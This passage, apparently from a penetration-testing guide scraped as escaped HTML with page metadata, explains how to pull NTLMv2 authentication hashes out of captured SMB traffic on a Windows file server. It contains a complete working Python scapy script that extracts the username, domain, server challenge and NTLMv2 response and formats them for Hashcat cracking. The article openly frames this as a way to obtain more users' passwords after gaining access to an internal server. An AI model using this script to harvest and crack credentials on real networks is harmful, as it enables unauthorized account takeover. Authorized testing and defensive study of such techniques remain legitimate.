-1\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>3. Obtain username, domain, HMAC-MD5, and blob from the current packet\u003C\u002Fh4>\u003Cp>HMAC-MD5 and blob are at fixed positions and can be obtained directly via fixed offsets\u003C\u002Fp>\u003Cp>Username and domain follow a fixed format: 2 bytes represent Length, 2 bytes represent Maxlen, 4 bytes represent offset. Note that the 2-byte length is actually an int value; when reading, the high and low bytes must be swapped\u003C\u002Fp>\u003Cp>For example, if the read hex data is 4601, the actual calculated value is 0146 converted to decimal, which is 326\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>DomainLength1 = int(TCPPayload[Flag+28:Flag+28+1].encode(\"hex\"),16)\u003Cbr>DomainLength2 = int(TCPPayload[Flag+28+1:Flag+28+1+1].encode(\"hex\"),16)*256\u003Cbr>DomainLength = DomainLength1 + DomainLength2\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Domain is stored in Unicode format and needs to be converted to ASCII. The specific implementation is to convert the string to an array and take only the odd positions\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>DomainName = [DomainNameUnicode[i] for i in range(len(DomainNameUnicode)) if i%2==0]\u003Cbr>DomainName = ''.join(DomainName)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Complete implementation code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>#!\u002Fusr\u002Fbin\u002Fenv python\u003Cbr>try:\u003Cbr>      import scapy.all as scapy\u003Cbr>except ImportError:\u003Cbr>      import scapy\u003Cbr>\u003Cbr>try:\u003Cbr>    # This import works from the project directory\u003Cbr>      import scapy_http.http\u003Cbr>except ImportError:\u003Cbr>    # If you installed this package via pip, you just need to execute this\u003Cbr>      from scapy.layers import http\u003Cbr>\u003Cbr>packets = scapy.rdpcap('6.pcap')\u003Cbr>Num = 1\u003Cbr>for p in range(len(packets)):\u003Cbr>      try:\u003Cbr>            if packets[p]['TCP'].dport ==445:\u003Cbr>                  TCPPayload = packets[p]['Raw'].load\u003Cbr>                  \u003Cbr>                  if TCPPayload.find('NTLMSSP') != -1:\u003Cbr>                        if len(TCPPayload) &gt; 500:       \u003Cbr>                              print (\"----------------------------------Hashcat NTLMv2 No.%s----------------------------------\"%(Num))\u003Cbr>                              Num = Num+1\u003Cbr>                              print (\"PacketNum: %d\"%(p+1))\u003Cbr>                              print (\"src: %s\"%(packets[p]['IP'].src))\u003Cbr>                              print (\"dst: %s\"%(packets[p]['IP'].dst))\u003Cbr>                              Flag = TCPPayload.find('NTLMSSP')\u003Cbr>\u003Cbr>                              ServerTCPPayload = packets[p-1]['Raw'].load\u003Cbr>                             \u003Cbr>                              ServerFlag = ServerTCPPayload.find('NTLMSSP')\u003Cbr>                              ServerChallenge = ServerTCPPayload[ServerFlag+24:ServerFlag+24+8].encode(\"hex\")\u003Cbr>                              print (\"ServerChallenge: %s\"%(ServerChallenge))\u003Cbr>\u003Cbr>\u003Cbr>                              DomainLength1 = int(TCPPayload[Flag+28:Flag+28+1].encode(\"hex\"),16)\u003Cbr>                              DomainLength2 = int(TCPPayload[Flag+28+1:Flag+28+1+1].encode(\"hex\"),16)*256                             \u003Cbr>                              DomainLength = DomainLength1 + DomainLength2\u003Cbr>                              #print DomainLength\u003Cbr>                              DomainNameUnicode = TCPPayload[Flag+88:Flag+88+DomainLength]\u003Cbr>                              DomainName = [DomainNameUnicode[i] for i in range(len(DomainNameUnicode)) if i%2==0]\u003Cbr>                              DomainName = ''.join(DomainName)\u003Cbr>                              print (\"DomainName: %s\"%(DomainName))\u003Cbr> \u003Cbr>                              UserNameLength1 = int(TCPPayload[Flag+36:Flag+36+1].encode(\"hex\"),16)\u003Cbr>                              UserNameLength2 = int(TCPPayload[Flag+36+1:Flag+36+1+1].encode(\"hex\"),16)*256\u003Cbr>                              UserNameLength = UserNameLength1 + UserNameLength2\u003Cbr>                              #print UserNameLength\u003Cbr>                              UserNameUnicode = TCPPayload[Flag+88+DomainLength:Flag+88+DomainLength+UserNameLength]\u003Cbr>                              UserName = [UserNameUnicode[i] for i in range(len(UserNameUnicode)) if i%2==0]\u003Cbr>                              UserName = ''.join(UserName)\u003Cbr>                              print (\"UserName: %s\"%(UserName))\u003Cbr>                                                                             \u003Cbr>                              NTLMResPonseLength1 = int(TCPPayload[Flag+20:Flag+20+1].encode(\"hex\"),16)\u003Cbr>                              NTLMResPonseLength2 = int(TCPPayload[Flag+20+1:Flag+20+1+1].encode(\"hex\"),16)*256\u003Cbr>                              NTLMResPonseLength = NTLMResPonseLength1 + NTLMResPonseLength2                             \u003Cbr>                              #print NTLMResPonseLength                                                         \u003Cbr>                              NTLMResPonse = TCPPayload[Flag+174:Flag+174+NTLMResPonseLength].encode(\"hex\")                                       \u003Cbr>                              #print NTLMResPonse\u003Cbr>                              print \"Hashcat NTLMv2:\"\u003Cbr>                              print (\"%s::%s:%s:%s:%s\"%(UserName,DomainName,ServerChallenge,NTLMResPonse[:32],NTLMResPonse[32:]))\u003Cbr>                              \u003Cbr>      except:\u003Cbr>            pass\u003Cbr>    \u003Cbr>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>After execution, the program output is as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770018811978_5_87437d4e7c-1.jpeg\">\u003C\u002Fp>\u003Cp>Then use Hashcat to perform the cracking\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Open-source tools for parsing pcap files:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002FDanMcInerney\u002Fnet-creds\u003C\u002Fp>\u003Cp>However, a bug occurs when parsing the NTLMv2 challenge\u003C\u002Fp>\u003Ch2>0x05 Supplement\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>For file servers, if NetBIOS over TCP\u002FIP is enabled, after disabling port 445, the system will attempt to connect using port 139\u003C\u002Fp>\u003Cp>Test as follows:\u003C\u002Fp>\u003Cp>Server disables port 445 and enables port 139\u003C\u002Fp>\u003Cp>Client attempts to connect, SMB protocol uses port 139, packet capture as shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770018818709_6_23f31ee48a-1.jpeg\">\u003C\u002Fp>\u003Cp>If NetBIOS over TCP\u002FIP is disabled, file sharing cannot be used after disabling port 445\u003C\u002Fp>\u003Ch2>0x06 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article addresses the issue of obtaining passwords for more users after gaining access to an internal file server.\u003C\u002Fp>\u003Cp>By capturing SMB protocol content via Windows command line, writing a program to automatically extract NTLMv2 Hash, and using Hashcat for cracking, it is possible to recover the user's local plaintext password.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>",1423,"Onedaysec",7,"published","2026-02-02T08:06:59.473Z",{"title":37,"description":14,"keywords":38,"ogImage":39,"canonicalUrl":39,"noIndex":40},"Capture NTLMv2 Hash from File Server with Netsh - Penetration Guide","NTLMv2 hash capture, netsh packet capture, internal network penetration, file server security, Windows password hash, penetration testing techniques, SMB protocol, Hashcat cracking",null,false,[],{"docs":43,"hasNextPage":40},[4,44,45,46,47],287,286,285,284,{"title":39,"description":39,"image":39},"2026-07-24T15:37:14.359Z","2026-07-23T16:01:20.333Z","draft","2026-07-23T16:05:05.431Z"]